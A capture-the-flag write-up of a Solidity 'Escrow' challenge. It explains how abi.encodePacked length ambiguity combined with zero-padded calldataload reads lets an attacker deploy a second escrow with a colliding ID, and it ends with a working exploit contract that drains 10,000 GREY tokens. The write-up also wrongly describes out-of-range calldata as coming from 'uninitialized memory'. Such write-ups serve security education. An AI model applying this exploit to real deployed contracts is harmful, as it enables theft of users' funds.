✅2. Escrow
ABI encoding asymmetry
Codebase walkthrough
Setup Contract
The Setup.sol
contract initializes the challenge by:
Deploying a GREY token contract and minting 10,000 GREY to itself
Creating an EscrowFactory
Adding a DualAssetEscrow implementation to the factory
Deploying an escrow with
tokenX = GREY
andtokenY = address(0)
(ETH)Depositing all 10,000 GREY tokens into the escrow
Renouncing ownership of the escrow by burning the NFT
EscrowFactory Contract
The factory uses a clone-with-immutable-args pattern and implements access control through ERC721 NFTs. Key mechanisms:
// Get the hash of the (implId, args) pair
bytes32 paramsHash = keccak256(abi.encodePacked(implId, args));
// If an escrow with the same (implId, args) pair exists, revert
if (deployedParams[paramsHash]) revert AlreadyDeployed();
// Mark the (implId, args) pair as deployed
deployedParams[paramsHash] = true;
The factory prevents deploying escrows with identical (implId, args)
combinations by tracking their keccak256 hash.
DualAssetEscrow Contract
The escrow stores two assets (tokenX
and tokenY
) and uses a unique identifier system:
(address factory, address tokenX, address tokenY) = _getArgs();
escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY)));
The escrowId
is computed from a constant identifier and the three addresses. Only the owner (holder of the corresponding NFT) can deposit/withdraw funds.
Bug description
The core vulnerability lies in how the system handles parameter encoding versus decoding:
Encoding Stage (abi.encodePacked):
// Factory duplicate prevention
bytes32 paramsHash = keccak256(abi.encodePacked(implId, args));
if (deployedParams[paramsHash]) revert AlreadyDeployed();
Decoding Stage (calldataload):
function _getArgAddress(uint256 argOffset) internal pure returns (address arg) {
uint256 offset = _getImmutableArgsOffset();
assembly {
arg := shr(0x60, calldataload(add(offset, argOffset)))
}
}
The critical insight is that calldataload
always reads exactly 32 bytes from memory starting at the given offset, regardless of whether enough calldata exists. When reading beyond the calldata boundary, it reads from uninitialized EVM memory, which defaults to zero.
Technical Exploitation Details
Original Escrow Parameters:
args = abi.encodePacked(address(grey), address(0))
Produces:
[20 bytes grey][20 bytes zeros]
= 40 bytes totalFactory hash:
keccak256(abi.encodePacked(0, [40 bytes]))
Attack Escrow Parameters:
args = abi.encodePacked(address(grey), bytes19(0))
Produces:
[20 bytes grey][19 bytes zeros]
= 39 bytes totalFactory hash:
keccak256(abi.encodePacked(0, [39 bytes]))
Why Factory Allows Both: The factory hashes are different because abi.encodePacked
produces different byte sequences (40 vs 39 bytes), so the duplicate check passes.
Why Escrow IDs Are Identical: When the escrow calls _getArgAddress(40)
to read tokenY
:
Original case (40 bytes total):
calldataload(40)
reads bytes 40-71Bytes 40-59: The actual 20 zero bytes from
address(0)
Bytes 60-71: Additional calldata or memory
Attack case (39 bytes total):
calldataload(40)
reads bytes 40-71Bytes 40-58: The actual 19 zero bytes from
bytes19(0)
Byte 59: Beyond calldata boundary → reads from uninitialized memory (zero)
Bytes 60-71: Beyond calldata boundary → reads from uninitialized memory (zeros)
Both result in reading 20 bytes of zeros after the shr(0x60)
operation, producing identical address(0)
values and therefore identical escrow IDs:
(address factory, address tokenX, address tokenY) = _getArgs();
escrowId = uint256(keccak256(abi.encodePacked(IDENTIFIER, factory, tokenX, tokenY)));
EVM Memory Model Behavior
The EVM memory model has the following characteristics:
calldataload(offset)
always reads 32 bytes starting fromoffset
No bounds checking: It doesn't validate that sufficient calldata exists
Uninitialized memory defaults to zero: Reading beyond calldata typically returns zeros
Memory expansion: EVM expands memory as needed and zero-initializes new regions
This creates the vulnerability because:
Encoding:
bytes19(0)
vsaddress(0)
produce different byte sequencesDecoding: Both sequences decode to the same
address(0)
value due to EVM memory model
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol";
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Deploy escrow that has the same ID as the one to drain
bytes19 zero_bytes = bytes19(abi.encodePacked(address(0)));
(uint256 escrowId, ) = setup.factory().deployEscrow(
0, // implId = 0
abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00
);
// ID of this escrow and the one to drain is the same
assert(escrowId == setup.escrowId());
// Withdraw all GREY from the escrow to drain
DualAssetEscrow escrow = DualAssetEscrow(setup.escrow());
escrow.withdraw(true, 10_000e18);
// Transfer all GREY to msg.sender
setup.grey().transfer(msg.sender, 10_000e18);
}
}
Last updated